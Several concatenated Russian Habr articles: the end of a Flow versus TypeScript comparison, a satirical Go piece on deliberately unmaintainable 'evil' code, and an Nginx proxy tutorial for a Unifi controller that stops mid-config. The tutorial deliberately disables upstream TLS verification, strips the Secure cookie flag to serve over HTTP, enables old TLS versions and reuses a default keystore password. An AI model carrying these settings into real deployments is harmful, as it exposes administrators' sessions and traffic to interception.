Оба «движка» для поддержки типов в JavaScript обладают примерно одинаковыми возможностями. Однако если вы пришли из языков со сторогой типизацией, даже в типизированном JavaScript есть очень важное отличие от той же Java: все типы по сути описывают интерфейсы, то есть список свойств (и их типы и/или аргументы). И если два интерфейса описывают одинаковые (или совместимые) свойства, то их можно использовать вместо друг-друга. То есть следующий код корректен в типизированным JavaScript, но явно некорректен в Java, или, скажем, C++:
```
type MyTypeA = { foo: string; bar: number; }
type MyTypeB = { foo: string; }
function myFunction( arg : MyTypeB ) : string {
return `Hello, ${arg.foo}!`;
}
const myVar : MyTypeA = { foo: "World", bar: 42 } as MyTypeA;
console.log( myFunction( myVar ) ); // "Hello, World!"
```
Данный код является корректным с точки зрения типизированного JavaScript, так как интерфейс MyTypeB требует наличие свойства `foo` с типом `string`, а у переменной с интерфейсом MyTypeA такое свойство есть.
Данный код можно переписать чуть короче, используя *литеральный интерфейс* для переменной `myVar`.
```
type MyTypeB = { foo: string; }
function myFunction( arg : MyTypeB ) : string {
return `Hello, ${arg.foo}!`;
}
const myVar = { foo: "World", bar: 42 };
console.log( myFunction( myVar ) ); // "Hello, World!"
```
Тип переменной `myVar` в данном примере это литеральный интерфейс `{ foo: string, bar: number }`. Он по прежнему совместим с ожидаемым интерфейсом аргумента `arg` функции `myFunction`, поэтому данный код не содержит ошибок с точки зрения, например, TypeScript.
Подобное поведение значительно уменьшает количество проблем при работе с разными библиотеками, пользовательским кодом и даже просто с вызовом функций. Типичный пример, когда некоторая библиотека определяет допустимые опции, а мы передаём их в виде объекта options:
```
// Где-то внутри библиотеки
interface OptionsType {
optionA?: string;
optionB?: number;
}
export function libFunction( arg: number, options = {} as OptionsType) { /*...*/ }
```
```
// В пользовательском коде
import {libFunction} from "lib";
libFunction( 42, { optionA: "someValue" } );
```
Обратите внимание, что тип `OptionsType` не экспортирован из библиотеки (и не импортирован в пользовательский код). Но это не мешает вызывать функцию с использованием литерального интерфейса для второго аргумента `options` функции, а для системы типизации — проверить этот аргумент на совместимость типов. Попытка сделать что-то подобное в Java вызовет у компилятора явное непонимание.
### Как это работает с точки зрения браузера?
Ни TypeScript от Microsoft, ни flow от Facebook не поддерживаются браузерами. Как впрочем и самые новые расширения языка JavaScript пока не нашли поддержки в некоторых браузерах. Так как же этот код, во-первых, проверяется на корректность, а во-вторых, как он исполняется браузером?
Ответ — траспилирование. Весь «нестандартный» JavaScript код проходит через набор утилит, которые превращают «нестандартный» (неизвестный браузерам) код в набор инструкций, который браузеры понимают. Причём для типизации всё «превращение» заключается в том, что все уточнения типов, все описания интерфейсов, все ограничения из кода просто удаляются. Например, код из примера выше превращается в…
```
/* удалено: type MyTypeA = { foo: string; bar: number; } */
/* удалено: type MyTypeB = { foo: string; } */
function myFunction( arg /* удалено: : MyTypeB */ ) /* удалено: : string */ {
return `Hello, ${arg.foo}!`;
}
const myVar /* удалено: : MyTypeA */ = { foo: "World", bar: 42 } /* удалено: as MyTypeA */;
console.log( myFunction( myVar ) ); // "Hello, World!"
```
т.е.
```
function myFunction( arg ) {
return `Hello, ${arg.foo}!`;
}
const myVar = { foo: "World", bar: 42 };
console.log( myFunction( myVar ) ); // "Hello, World!"
```
Такое преобразование обычно делается одним из следующих способов.
* Для удаления информации о типах от flow используется плагин для babel: [@babel/plugin-transform-flow-strip-types](https://babeljs.io/docs/en/babel-plugin-transform-flow-strip-types)
* Для работы с TypeScript можно использовать одно из двух решений. Во-первых можно использовать babel и плагин [@babel/plugin-transform-typescript](https://babeljs.io/docs/en/babel-plugin-transform-typescript)
* Во-вторых вместо babel можно использовать собственный транспилер от Microsoft под названием [tsc](https://www.typescriptlang.org/docs/handbook/compiler-options.html). Эта утилита встраивается в процесс сборки приложения *вместо* babel.
Примеры настроек проекта под flow и под TypeScript (с использованием tsc).
| Flow | TypeScript |
| --- | --- |
| webpack.config.js |
|
```
{
test: /\.js$/,
include: /src/,
exclude: /node_modules/,
loader: 'babel-loader',
},
```
|
```
{
test: /\.(js|ts|tsx)$/,
exclude: /node_modules/,
include: /src/,
loader: 'ts-loader',
},
```
|
| Настройки транспилера |
| babel.config.js | tsconfig.json |
|
```
module.exports = function( api ) {
return {
presets: [
'@babel/preset-flow',
'@babel/preset-env',
'@babel/preset-react',
],
};
};
```
|
```
{
"compilerOptions": {
"allowSyntheticDefaultImports": true,
"esModuleInterop": false,
"jsx": "react",
"lib": ["dom", "es5", "es6"],
"module": "es2020",
"moduleResolution": "node",
"noImplicitAny": false,
"outDir": "./dist/static",
"target": "es6"
},
"include": ["src/**/*.ts*"],
"exclude": ["node_modules", "**/*.spec.ts"]
}
```
|
| .flowconfig |
|
```
[ignore]
/dist/.\*
/test/.\*
[lints]
untyped-import=off
unclear-type=off
[options]
```
|
Разница между подходами babel+strip и tsc с точки зрения сборки небольшая. В первом случае используется babel, во-втором будет tsc.
Но есть разница, если используется такая утилита как eslint. У TypeScript для линтинга с помощью eslint есть свой набор плагинов, которые позволяют найти ещё больше ошибок. Но они требуют, чтобы в момент анализа линтером у него была информация о типах переменных. Для этого в качестве парсера кода необходимо использовать только tsc, а не babel. Но если для линтера используется tsc, то использовать для сборки babel будет уже неправильно (зоопарк используемых утилит должен быть минимальным!).
| Flow | TypeScript |
| --- | --- |
| .eslint.js |
|
```
module.exports = {
parser: 'babel-eslint',
parserOptions: {
/* ... */
```
|
```
module.exports = {
parser: '@typescript-eslint/parser',
parserOptions: {
/* ... */
```
|
Типы для библиотек
------------------
Когда библиотека публикуется в npm-репозитории, публикуется именно JavaScript-версия. Предполагается, что опубликованный код не нужно подвергать дополнительным преобразованиям, чтобы использовать его в проекте. То есть код уже прошёл необходимую траспиляцию через babel или tsc. Но тогда информация о типах в коде уже, получается, потеряна. Что делать?
Во flow предполагается, что кроме «чистой» JavaScript версии в библиотеке будут лежать файлы с расширением `.js.flow`, содержащие исходный flow-код со всеми определениями типов. Тогда при анализе flow сможет подключить эти файлы для проверки типов, а при сборке проекта и его выполнения они будут игнорироваться — будут использованы обычные JS-файлы. Добавлять .flow-файлы в библиотеку можно простым копированием. Правда это значительно увеличит размер библиотеки в npm.
В TypeScript предлагается держать рядом не исходные файлы а только список определений (definitions). Если есть файл `myModule.js`, то при анализе проекта TypeScript будет искать рядом файл `myModule.js.d.ts`, в котором ожидает увидеть определения (но не код!) всех типов, функций и прочего, что нужно для анализа типов. Создавать такие файлы из исходного TypeScript траспилер tsc умеет самостоятельно (см. опцию `declaration` в документации).
Типы для legacy-библиотек
-------------------------
И для flow, и TypeScript есть способ добавления описаний типов для тех библиотек, которые эти описания не содержат изначально. Но сделано оно по разному.
Для flow «нативного» способа, поддерживаемого самой компанией Facebook не предложено. Но есть проект [flow-typed](https://github.com/flow-typed/flow-typed), который собирает в своём репозитории такие определения. Фактически параллельный для npm способ версионирования таких определений, а также не очень удобный «централизованный» способ обновления.
У TypeScript стандартным способом написания таких определений является их публикация в специальных [npm-пакетах с префиском "@types"](https://www.npmjs.com/search?q=%40types). Для того, чтобы добавить себе в проект описание типов для какой-либо библиотеки достаточно подключить соответствующую @types-библиотеку, например `@types/react` для React или `@types/chai` для chai.
Сравнение flow и TypeScript
---------------------------
Попытка сравнить flow и TypeScript. Отдельные факты собраны из статьи Nathan Sebhastian «TypeScript VS Flow», часть собрана самостоятельна.
Нативная поддержка в различных фреймофорках. Нативная — без дополнительным подходом с паяльником и сторонними библиотеками и плагинами.
Различные линейки
| | Flow | TypeScript |
| --- | --- | --- |
| Основной contributor | Facebook | Microsoft |
| Сайт | [flow.org](https://flow.org/) | [www.typescriptlang.org](https://www.typescriptlang.org/) |
| GitHub | [github.com/facebook/flow](https://github.com/facebook/flow) | [github.com/microsoft/TypeScript](https://github.com/microsoft/TypeScript) |
| GitHub Starts | 21.3k | 70.1k |
| GitHub Forks | 1.8k | 9.2k |
| GitHub Issues: open/closed | 2.4k / 4.1k | 4.9k / 25.0k |
| StackOverflow Active | [2289](https://stackoverflow.com/questions/tagged/flowtype?tab=Active) | [146 221](https://stackoverflow.com/questions/tagged/typescript?tab=Active) |
| StackOverflow Frequent | [123](https://stackoverflow.com/questions/tagged/flowtype?tab=Frequent) | [11 451](https://stackoverflow.com/questions/tagged/typescript?tab=Frequent) |
Смотря на эти цифры у меня просто не остаётся морального права рекомендовать flow к использованию. Но почему же я использовал его сам? Потому что раньше была такая штука, как flow-runtime.
### [flow-runtime](https://github.com/gajus/flow-runtime)
flow-runtime это набор плагинов для babel, который позволяет встроить типы от flow в runtime, использовать их для определения типов переменных в runtime, и, самое главное для меня, позволяло проверять типы переменных в runtime. Что позволяло в runtime во время, например, автотестов или ручного тестирования отловить дополнительные баги в приложении.
То есть прямо во время выполнения (в debug-сборке, разумеется), приложение явно проверяло все-все типы переменных, аргументов, результаты вызова сторонних функций, и всё-всё-всё, на соответствие тех типов.
К сожалению, под новый 2021 год автор репозитория [добавил информацию](https://github.com/gajus/flow-runtime/commit/6209f850341d041b4568db6437270650bdbf0bfb) о том, что он перестаёт заниматься развитием данного проекта и в целом переходит на TypeScript. Фактически последняя причина оставаться на flow для меня стала deprecated. Ну что же, добро пожаловать в TypeScript.
|
https://habr.com/ru/post/552760/
| null |
ru
| null |
# Делать хорошо, делая плохо: написание «злого» кода с помощью Go, часть 2
***Вредные советы для Go-программиста***
[В первой части публикации](https://habr.com/ru/post/460645/) я объяснил, как стать «злобным» программистом Go. Зло приходит во многих формах, но в программировании оно заключается в намеренном затруднении понимания и поддержки кода. «Злые» программы игнорируют основные средства языка в пользу техник, которые обеспечивают краткосрочные выгоды, в обмен на долгосрочные проблемы. В качестве краткого напоминания, злые «практики» Go включают в себя:
* Плохо названные и организованные пакеты
* Неправильно организованные интерфейсы
* Передача указателей на переменные в функции для заполнения их значений
* Использование паники вместо ошибок
* Использование init-функций и пустого импорта для настройки зависимостей
* Загрузка файлов конфигурации с использованием init-функций
* Использование фреймворков вместо библиотек
### Большой клубок зла
Что будет, если собрать все наши злые практики вместе? У нас получился бы фреймворк, который использовала бы множество файлов конфигурации, заполнял поля структур с помощью указателей, определял интерфейсы для описания публикуемых типов, опирался на «магический» код и паниковала всякий раз, когда возникала проблема.
И я сделал такой. Если вы зайдете на <https://github.com/evil-go>, вы увидите [Fall](https://github.com/evil-go/fall) (падение), — DI фреймворк, дающий возможность внедрять любые «злые» практики, которые только захотите. Я спаял Fall с крошечным веб-фреймворком [Outboy](https://github.com/evil-go/outboy), который следует тем же принципам.
Вы можете спросить, насколько они злодейские? Давайте посмотрим. Предлагаю пройтись по простой программе Go (написанной с использованием лучших практик), которая предоставляет http endpoint. А затем перепишем ее, используя Fall и Outboy.
### Лучшие практики
Наша программа лежит в единственном пакете под названием greet, который использует все основные функции для реализации нашего endpoint-a. Поскольку это пример, мы используем работающий в памяти DAO, с тремя полями для значений, которые мы будем возвращать. У нас будет также метод, который, в зависимости от входных данных, подменяет вызов нашей БД и возвращает нужное приветствие.
```
package greet
type Dao struct {
DefaultMessage string
BobMessage string
JuliaMessage string
}
func (sdi Dao) GreetingForName(name string) (string, error) {
switch name {
case "Bob":
return sdi.BobMessage, nil
case "Julia":
return sdi.JuliaMessage, nil
default:
return sdi.DefaultMessage, nil
}
}
```
Далее идет бизнес-логика. Для ее реализации мы определяем структуру хранения выходных данных, интерфейс GreetingFinder для описания того, что бизнес-логика ищет на уровне поиска данных, и структуру для хранения самой бизнес-логики с полем для GreetingFinder. Фактическая логика проста, — она просто вызывает GreetingFinder и обрабатывает любые ошибки, которые могут произойти.
```
type Response struct {
Message string
}
type GreetingFinder interface {
GreetingForName(name string) (string, error)
}
type Service struct {
GreetingFinder GreetingFinder
}
func (ssi Service) Greeting(name string)(Response, error) {
msg, err := ssi.GreetingFinder.GreetingForName(name)
if err != nil {
return Response{}, err
}
return Response{Message: msg}, nil
}
```
Затем идет веб-слой, и для этой части мы определяем интерфейс Greeter, который обеспечивает всю нужную нам бизнес-логику, а так же структуру, содержащую обработчик http, настроенный с помощью Greeter. Затем мы создаем метод для реализации интерфейса http.Handler, который разбивает http-запрос, вызывает greeter-a (приветствующего), обрабатывает ошибки и возвращает результаты.
```
type Greeter interface {
Greeting(name string) (Response, error)
}
type Controller struct {
Greeter Greeter
}
func (mc Controller) ServeHTTP(rw http.ResponseWriter,
req *http.Request) {
result, err := mc.Greeter.Greeting(
req.URL.Query().Get("name"))
if err != nil {
rw.WriteHeader(http.StatusInternalServerError)
rw.Write([]byte(err.Error()))
return
}
rw.Write([]byte(result.Message))
}
```
Это конец пакета greet. Далее мы посмотрим, как «добрый» разработчик Go написал бы main для использования этого пакета. В пакете main мы определяем структуру с именем Config, которая содержит свойства нужные нам для запуска. Функция main затем делает 3 вещи.
* Во-первых, она вызывает функцию loadProperties, которая использует простую библиотеку (<https://github.com/evil-go/good-sample/blob/master/config/config.go>) для загрузки свойств из конфиг-файла и помещает их в наш экземпляр конфига. Если загрузка конфигурации не удалась, функция main сообщает об ошибке и завершает работу.
* Во-вторых, функция main связывает компоненты в пакете greet, явно присваивая им значения из конфига и настраивая зависимости.
* В-третьих, она вызывает небольшую серверную библиотеку (<https://github.com/evil-go/good-sample/blob/master/server/server.go>) и передает в endpoint адрес, HTTP-метод и http.Handler для обработки запроса. Вызов библиотеки запускает веб-сервис. И это наше приложение целиком.
```
package main
type Config struct {
DefaultMessage string
BobMessage string
JuliaMessage string
Path string
}
func main() {
c, err := loadProperties()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
dao := greet.Dao{
DefaultMessage: c.DefaultMessage,
BobMessage: c.BobMessage,
JuliaMessage: c.JuliaMessage,
}
svc := greet.Service{GreetingFinder: dao}
controller := greet.Controller{Greeter: svc}
err = server.Start(server.Endpoint{c.Path, http.MethodGet, controller})
if err != nil {
fmt.Println(err)
os.Exit(1)
}
}
```
Пример получился довольно коротким, но он показывает, как классно написан Go; некоторые вещи неоднозначны, но в целом понятно, что происходит. Мы склеиваем маленькие библиотеки, которые определенно настроены для совместной работы. Ничто не скрыто; любой может взять этот код, понять, как его части соединяются вместе, и при необходимости переделать на новые.
### Гиблое место
Теперь мы рассмотрим версию Fall и Outboy. Первое, что мы сделаем, — это разобьем пакет greet на несколько пакетов, каждый из которых содержит один слой приложения. Вот пакет DAO. Он импортирует Fall, наш DI-фреймворк, и поскольку мы являемся «злыми» и определяем отношения с интерфейсами наоборот, мы определим интерфейс под названием GreetDao. Обратите внимание, — мы удалили все ссылки на ошибки; если что-то не так, — мы просто паникуем. На этом этапе у нас уже есть плохая упаковка, плохие интерфейсы и плохие ошибки. Прекрасное начало!
Мы слегка переименовали нашу структуру из хорошего примера. Поля теперь имеют теги struct; они используются, чтобы Fall устанавливал зарегистрированное значение в поле. У нас также есть функция init для нашего пакета, с помощью которой мы накапливаем «злую силу». В функции init пакета мы вызывем Fall дважды:
* Один раз, чтобы зарегистрировать конфиг-файл, который предоставляет значения для тегов структуры.
* А другой, – чтобы зарегистрировать указатель на экземпляр структуры. Fall сможет заполнить эти поля для нас и сделать DAO доступным для использования другим кодом.
```
package dao
import (
"github.com/evil-go/fall"
)
type GreetDao interface {
GreetingForName(name string) string
}
type greetDaoImpl struct {
DefaultMessage string `value:"message.default"`
BobMessage string `value:"message.bob"`
JuliaMessage string `value:"message.julia"`
}
func (gdi greetDaoImpl) GreetingForName(name string) string {
switch name {
case "Bob":
return gdi.BobMessage
case "Julia":
return gdi.JuliaMessage
default:
return gdi.DefaultMessage
}
}
func init() {
fall.RegisterPropertiesFile("dao.properties")
fall.Register(&greetDaoImpl{})
}
```
Давайте посмотрим пакет service. Он импортирует пакет DAO, потому что ему нужен доступ к определенному там интерфейсу. Пакет service также импортирует пакет model, который мы еще не рассматривали — мы будем хранить там наши типы данных. И мы импортируем Fall, потому что, как и все «хорошие» фреймворки, он проникает везде. Мы также определяем интерфейс для service, чтобы дать доступ к веб-слою. Опять же, без обработки ошибок.
Реализация нашего сервиса теперь имеет структурный тег с wire. Поле, помеченное wire, автоматически подключает свою зависимость, когда структура зарегистрирована в Fall. В нашем крошечном примере ясно, что будет назначено этому полю. Но в более крупной программе вы будете знать только то, что где-то реализован этот интерфейс GreetDao, и он зарегистрирован в Fall. Вы не можете контролировать поведение зависимости.
Далее идет метод нашего сервиса, который был немного изменен, чтобы получать структуру GreetResponse из пакета model, и который удаляет любую обработку ошибок. Наконец, у нас в пакете есть функция init, которая регистрирует экземпляр службы в Fall.
```
package service
import (
"github.com/evil-go/fall"
"github.com/evil-go/evil-sample/dao"
"github.com/evil-go/evil-sample/model"
)
type GreetService interface {
Greeting(string) model.GreetResponse
}
type greetServiceImpl struct {
Dao dao.GreetDao `wire:""`
}
func (ssi greetServiceImpl) Greeting(name string) model.GreetResponse {
return model.GreetResponse{Message: ssi.Dao.GreetingForName(name)}
}
func init() {
fall.Register(&greetServiceImpl{})
}
```
Теперь давайте посмотрим на пакет model. Смотреть тут особенно не на что. Видно, что модель отделена от кода, который ее создает, только для того, чтобы разделить код на слои.
```
package model
type GreetResponse struct {
Message string
}
```
В пакете web у нас лежит веб-интерфейс. Здесь мы импортируем как Fall, так и Outboy, а также импортируем пакет service, от которого зависит пакет web. Поскольку фреймворки хорошо сочетаются друг с другом только тогда, когда они интегрируются «за кулисами», у Fall есть специальный код, чтобы убедиться, что он и Outboy работают вместе. Мы также изменяем структуру, чтобы она стала контроллером для нашего веб-приложения. У нее два поля:
* Первое связывается через Fall с реализацией интерфейса GreetService из пакета service.
* Второе — это путь для нашего единственного web endpoint-a. Ему присваивается значение из конфиг-файла, зарегистрированного в функции init данного пакета.
Наш http-обработчик переименован в GetHello, и он теперь свободен от обработки ошибок. У нас также есть метод Init (с большой буквы), который не следует путать с функцией init. Init — это магический метод, который вызывается для структур, зарегистрированных в Fall, после заполнения всех полей. В Init мы вызываем Outboy, чтобы зарегистрировать наш контроллер и его endpoint в пути, который был задан с помощью Fall. Глядя на код, вы увидите путь и обработчик, но HTTP-метод не указан. В Outboy имя метода используется для определения того, на какой HTTP-метод отвечает обработчик. Поскольку наш метод называется GetHello, он отвечает на запросы GET. Если вы не знаете этих правил, вы не сможете понять, на какие запросы он отвечает. Правда, это очень по-злодейски?
Наконец, мы вызываем функцию init для регистрации конфиг-файла и контроллера в Fall.
```
package web
import (
"github.com/evil-go/fall"
"github.com/evil-go/outboy"
"github.com/evil-go/evil-sample/service"
"net/http"
)
type GreetController struct {
Service service.GreetService `wire:""`
Path string `value:"controller.path.hello"`
}
func (mc GreetController) GetHello(rw http.ResponseWriter, req *http.Request) {
result := mc.Service.Greeting(req.URL.Query().Get("name"))
rw.Write([]byte(result.Message))
}
func (mc GreetController) Init() {
outboy.Register(mc, map[string]string{
"GetHello": mc.Path,
})
}
func init() {
fall.RegisterPropertiesFile("web.properties")
fall.Register(&GreetController{})
}
```
Осталось только показать, как мы запускаем программу. В пакете main мы используем пустой импорт для регистрации Outboy и пакета web. А функция main вызывает fall.Start () для запуска всего приложения.
```
package main
import (
_ "github.com/evil-go/evil-sample/web"
"github.com/evil-go/fall"
_ "github.com/evil-go/outboy"
)
func main() {
fall.Start()
}
```
### Срыв покровов
И вот она, — полная программа, написанная с использованием всех наших злобных инструментов Go. Это кошмар. Она магическим образом скрывает, как части программы сочетаются друг с другом, и делает ужасно сложным понимание ее работы.
И все же, вы должны признать, что в написании кода с Fall and Outboy есть что-то притягательное. Для крошечной программы можно даже сказать, что — это улучшение. Посмотрите, как просто задать конфигурацию! Я могу подключать зависимости практически без кода! Я зарегистрировал обработчик для метода, просто используя его имя! И без какой-либо обработки ошибок все выглядит так чисто!
Именно так и действует зло. На первый взгляд оно действительно привлекательно. Но по мере того, как ваша программа меняется и растет, вся эта магия начинает только мешать, усложняя понимание происходящего. Только когда вы полностью одержимы злом, вы оглядываетесь и понимаете, что попали в ловушку.
Для Java-разработчиков это может показаться знакомым. Эти техники можно найти во многих популярных Java-фреймворках. Как я уже упоминал ранее, я работал с Java более 20 лет, начиная с 1.0.2 в 1996 году. Во многих случаях Java-разработчики первыми сталкивались с проблемами написания крупномасштабного корпоративного программного обеспечения в эпоху Интернета. Я помню времена, когда сервлеты, EJB, Spring и Hibernate только появились. Решения, которые были приняты Java-разработчиками, в то время имели смысл. Но с годами эти техники проявляют свой возраст. Более новые языки, такие как Go, предназначены для устранения болевых точек, обнаруженных при использовании старых техник. Однако, поскольку разработчики Java начинают изучать Go и писать код с его помощью, им следует помнить, что попытки воспроизвести шаблоны из Java приведут к нехорошим результатам.
Go был разработан для серьезного программирования, — для проектов, которые охватывают сотни разработчиков и десятки команд. Но для того, чтобы Go это делал, его нужно использовать так, как он работает лучше всего. Мы можем выбирать — быть злыми или добрыми. Если мы выберем зло, мы можем побудить молодых Go-разработчиков изменить свой стиль и техники, прежде чем они разберутся в Go. Или мы можем выбрать добро. Часть нашей работы как Go-разработчиков состоит в том, чтобы наставлять молодых Гоферов (Gophers — суслики), — помогать им понять принципы, лежащие в основе наших лучших практик.
Единственный недостаток следования по пути добра в том, что вам придется искать иной способ выражать свое внутреннее зло. *Может, попробуете езду со скоростью 30км/ч на федеральной трассе?*
|
https://habr.com/ru/post/460911/
| null |
ru
| null |
# Unifi Controller + Nginx. HTTP & HTTPS
#### **Краткая суть:**
Пошаговая инструкция по проксированию Unifi-контроллера через Nginx по http или https.
Конфиги, понятные примеры, комментарии.
#### **Пролог**:
Наша компания занимается разработкой мобильных приложений, и как вы могли догадаться, в офисе находится огромное количество различных девайсов, все они любят Wi-Fi и не просто Wi-Fi, а бесшовный, чтобы можно было свободно погулять по коридору, не прерывая разговоры по Skype, и просто наслаждаться всеми плодами непрерывной вафли.
Для этих целей решили взять несколько [Unifi](https://www.ubnt.com/unifi/unifi-ap-ac-lite/) тарелок с целью не заморачиваться с настройкой и чтобы все работало из коробки. По-крупному все так и было за одним НО, который и послужил причиной создания этого tutorial: контроллер тарелок умеет работать только через https, а так же к нему не полагается нормальной инструкции по проксированию через Nginx, [существующая](https://community.ubnt.com/t5/UniFi-Wireless/UniFi-Ubuntu-16-04-fully-automatic-Installation-NGINX-Proxy-amp/td-p/1596848), мягко говоря, оставляет желать лучшего, а так же не предусматривает сценарий работы с HTTP.
#### **Требуемый уровень подготовки:**
Будем считать, что азы Nginx известны, куда помещать конфиги и так понятно, а сам веб сервер тоже развернут. Кроме этого, подразумевается, что контроллер посуды уже настроен. Если с этим возникают сложности, то у Ubiquity есть отличная инструкция для [Linux](https://help.ubnt.com/hc/en-us/articles/220066768-UniFi-How-to-Install-Update-via-APT-on-Debian-or-Ubuntu) и [Windows](https://help.ubnt.com/hc/en-us/articles/205144550--Outdated-UniFi-Run-the-controller-as-a-Windows-service). Но в дальнейшем будем считать, что мы все здесь прожженные линуксоиды.
Вся конфигурация проверялась на Unifi Controller v5.2.9, Nginx v1.10.1, Debian Jessie, Java 8
И так, поехали.
#### **HTTP:**
Все просто, нужно только положить конфиг куда надо, но потребуются определенные пояснения и предупреждения.
Всем, кому лень ~~думать~~ читать, а просто надо, чтобы все работало, можно скопировать конфиг и заменить в нем server\_name на подходящий, а так же адрес/порт в блоке upstream, если контроллер расположен не в локалхосте:
```
upstream unifi {
server 127.0.0.1:8443;
}
server {
listen 80;
server_name unifi.domain.com;
error_log /var/log/unifi/nginx.log;
access_log /var/log/unifi/access.log;
proxy_ssl_verify off;
proxy_ssl_session_reuse on;
proxy_ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
proxy_cache off;
proxy_store off;
server_tokens off;
location / {
proxy_set_header Referer "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass https://unifi;
proxy_redirect https:// http://;
header_filter_by_lua_block {
if ngx.header["Set-Cookie"] then
ngx.header["Set-Cookie"] = {
string.gsub(ngx.header["Set-Cookie"][1], "(.*)Secure;(.*)", "%1%2"),
string.gsub(ngx.header["Set-Cookie"][2], "(.*)Secure(.*)", "%1%2")
}
end
}
}
}
```
Если Nginx собран из исходников, то нужно отдельно установить модуль [ngx\_http\_lua\_module](https://github.com/openresty/lua-nginx-module#installation).
Теперь можно перезагрузить Nginx:
```
sudo service nginx reload
```
**Нюансы:**
Так как контроллер из коробки поддерживает только HTTPS, то для его проксирования через HTTP нам придется модифицировать Cookie, отрезав флаг secure, и в принципе отключить любую валидацию ssl upstream сервера. Ушлые админы кинут в меня тапком, сказав, что можно добавить доверенный сертификат, предварительно прописав его в контроллер, но мы этот кейс рассматривать не будем в виду его избыточной сложности.
Тем не менее, **не рекомендуется** держать инфраструктурные вещи на HTTP. Только если совсем нет сертификата, а хочется, чтобы контроллер красиво торчал наружу.
Можно поменять слушающий порт и любые другие настройки по вкусу.
#### **HTTPS с дефолтным сертификатом контроллера:**
Это ленивый вариант HTTPS. Контроллер имеет свой ssl сертификат из коробки, но его можно заменить на любой другой. И вместо того, чтобы его скурпулезно настраивать, мы просто попросим Nginx соглашаться на все.
Простыми словами, весь трафик идет из ~~интернетов~~ сети по HTTPS до Nginx, а от Nginx к контроллеру уже незащищенный. Если Unifi контроллер и Nginx находятся в пределах локалхоста или доверенной сети, то это наш случай:
```
upstream unifi {
server 127.0.0.1:8443;
}
# Редиректим на HTTPS
server {
listen 80;
server_name unifi.domain.com;
server_tokens off;
rewrite ^ https://$http_host$request_uri?;
}
server {
listen 443 ssl;
server_name unifi.domain.com;
error_log /var/log/unifi/nginx.log;
access_log /var/log/unifi/access.log;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
ssl_ciphers ECDH+AESGCM:ECDH+AES256:ECDH+AES128:DH+3DES:!ADH:!AECDH:!MD5;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;
add_header Strict-Transport-Security "max-age=31536000" always;
server_tokens off;
proxy_ssl_verify off;
proxy_ssl_session_reuse on;
proxy_ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
proxy_cache off;
proxy_store off;
location / {
proxy_set_header Referer "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass https://unifi;
}
}
```
**Дополнительные настройки**Можно сделать перманентный редирект, заменив
```
rewrite ^ https://$http_host$request_uri?;
```
на
```
rewrite ^ https://$http_host$request_uri? permanent;
```
Но лучше этим заниматься, когда вы убедились в правильной работе всей системы.
В этом конфиге надо заменить следующие параметры на свои:
* Путь до сертификата ssl\_certificate
* Путь до ключа сертификата ssl\_certificate\_key
* Имя сервера обоих серверов(ssl и редирект) server\_name
* Порт и адрес upstream сервера при необходимости
И не забываем делать reload Nginx:
```
sudo service nginx reload
```
Вы можете спросить: "Но мэн, почему в твоем конфиге два сервера, хотя у меня он один?". Я отвечу: один сервер принимает ssl трафик, проксируя его контроллеру, а другой редиректит на первый, если к нам обратились по HTTP, чтобы не подвергать опасности наши дыры безопасности.
А теперь осталось самое сладкое, для ~~настоящих параноиков~~ серьезных администраторов.
#### **HTTPS с кастомным сертификатом контроллера**
Предположим, что Nginx и контроллер находятся теперь не в доверенной сети и мы не можем быть на 100% уверены в безопасности соединения между ними. В таком случае нам придется воспользоваться выданным ssl сертификатом для нашего домена на котором будет находиться контроллер, либо сгенерировать свой.
[Процедуру генерации](http://www.akadia.com/services/ssh_test_certificate.html) self signed сертификата мы описывать здесь не будем, она только косвенно касается данного tutorial. Считаем, что уже все готово и мы молодцы.
И так, убедимся, что у нас есть на руках **crt** и **key** файлы, они нам потребуются, чтобы подложить наш сертификат в Unifi контроллер. Будем считать, что они называются **unifi.crt** и **unifi.key** соответственно.
Теперь нам нужно сгенерировать **[keystore](http://javadev.ru/https/ssl-keystore-java/)** файл для контроллера. Следующие команды нужно выполнять в папке с **unifi.crt** и **unifi.key** в корне. Не важно, где лежит эта папка, нам потребуется в итоге только финальный файл:
```
openssl pkcs12 -export -in unifi.crt -inkey unifi.key -out unifi.p12
keytool -importkeystore -deststorepass aircontrolenterprise -destkeypass aircontrolenterprise -destkeystore keystore -srckeystore unifi.p12 -srcstoretype PKCS12 -srcstorepass aircontrolenterprise
```
Теперь берем полученный **keystore** и перемещаем его в папку **data** в корне контроллера. Дефолтное местоположение корневой папки: **/usr/lib/unifi**. Файл в итоге должен оказаться по следующему пути: **/usr/lib/unifi/data/keystore**
P12 документик нам не потребуется, можно его удалить или оставить на память, поставив в рамочку.
Теперь рестартим сервис Unifi:
```
sudo service unifi restart
```
С контроллером никаких манипуляций больше не потребуется, теперь дело за Nginx. Наш конфиг будет мало отличаться от предыдущего варианта, за исключением факта, что мы уже не будем слепо принимать любой сертификат. Если сертификат self signed, то укажем Nginx доверять ему.
**Случай для выданного сертификата**
Конфиг Nginx:
```
upstream unifi {
server 127.0.0.1:8443;
}
server {
listen 80;
server_name unifi.domain.com;
server_tokens off;
rewrite ^ https://$http_host$request_uri?;
}
server {
listen 443 ssl;
server_name unifi.domain.com;
error_log /var/log/unifi/nginx.log;
access_log /var/log/unifi/access.log;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
ssl_ciphers ECDH+AESGCM:ECDH+AES256:ECDH+AES128:DH+3DES:!ADH:!AECDH:!MD5;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;
add_header Strict-Transport-Security "max-age=31536000" always;
server_tokens off;
proxy_ssl_session_reuse on;
location / {
proxy_set_header Referer "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
